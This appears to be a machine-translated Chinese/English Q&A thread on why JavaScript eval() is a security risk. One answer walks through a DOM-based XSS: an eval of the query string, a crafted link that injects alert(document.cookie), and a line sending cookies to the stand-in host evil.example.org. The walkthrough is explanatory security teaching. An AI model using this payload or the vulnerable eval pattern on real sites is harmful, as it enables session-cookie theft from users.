javascript eval() 和安全

javascript eval() and security

developer.mozilla.org 说:

Don't use eval needlessly! eval() is a dangerous function, which executes the code it's passed with the privileges of the caller.

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

例如,任何恶意用户都可以打开 chrome 调试器,并修改正在执行的 javascript 代码。这样他就可以把自己的函数执行等等

一般有"secure javascript code"这样的吗?

Any malicious user can turn on chrome debugger for example, and modify javascript code that is being executed. So he can put his own functions to be executed etc.

是的,用户可以 "attack" 他们自己的客户端会话,使用 JavaScript 通过开发者工具。

但是,eval 和开发人员工具之间的区别在于 eval 可以在可共享的 link 中执行内容。攻击者可以向他们的受害者发送一个 link,它利用了代码评估函数。

取此代码:

<script>

eval('alert("Your query string was ' + unescape(document.location.search) + '");');

</script>

现在,如果查询字符串是 ?foo,您只会收到一个警告对话框,说明以下内容:Your query string was ?foo

现在假设 Chuck 向 Bob 发送了一封主题为 "Look at this great link!" 的电子邮件。

link构造如下:

http://www.example.com/page.htm?hello%22);alert(document.cookie+%22,其中 www.example.com 是您的网站。

这会将 eval() 执行的代码修改为

alert("Your query string was hello");
alert(document.cookie+"");

(为清楚起见,我添加了新行)。这将显示一个警告框,显示所有非 httpOnly cookie。

进入下一阶段,攻击者可以构建一个图像 link 将会话 cookie 发送给他们自己

new Image().src="https://evil.example.org/?cookie=" + escape(document.cookie)

这称为 Cross-Site Scripting (XSS) 攻击。实际上,该类型是一个基于 DOM 的 XSS,具体来说。

Is there such thing as "secure javascript code" in general?

是的,可以考虑针对 XSS 的安全代码 "secure JavaScript code" - 它可以保护当前用户免受跨域攻击。然而,服务器端代码 "trusts" 当前最终用户不会使用开发者工具修改 JavaScript 代码或变量以获得他们自己的优势,但并不安全。

因此,安全 JavaScript 代码是这样的代码,它将仅保护当前用户。

是的,当然有安全 JavaScript。您可以随时在浏览器中修改 JavaScript,就像您可以修改例如python 程序 运行ning 在你的机器上。

能够改变代码在您自己机器上的工作方式是微不足道的,不会立即成为安全问题。

Eval() 经常被认为是有问题的,因为它倾向于使用用户生成的输入来执行(我认为真正的用例很少)。 @SilverlightFox 在他的出色回答中解释了为什么这可能是一个问题。这一切都归结为这样一个事实,即 eval() 可能会被利用到 运行 您在其他人机器上的代码,这是一个安全问题。

请注意,这不仅仅针对 JavaScript,大多数语言都有类似命名的函数来执行相同的操作。这些函数带有类似的警告。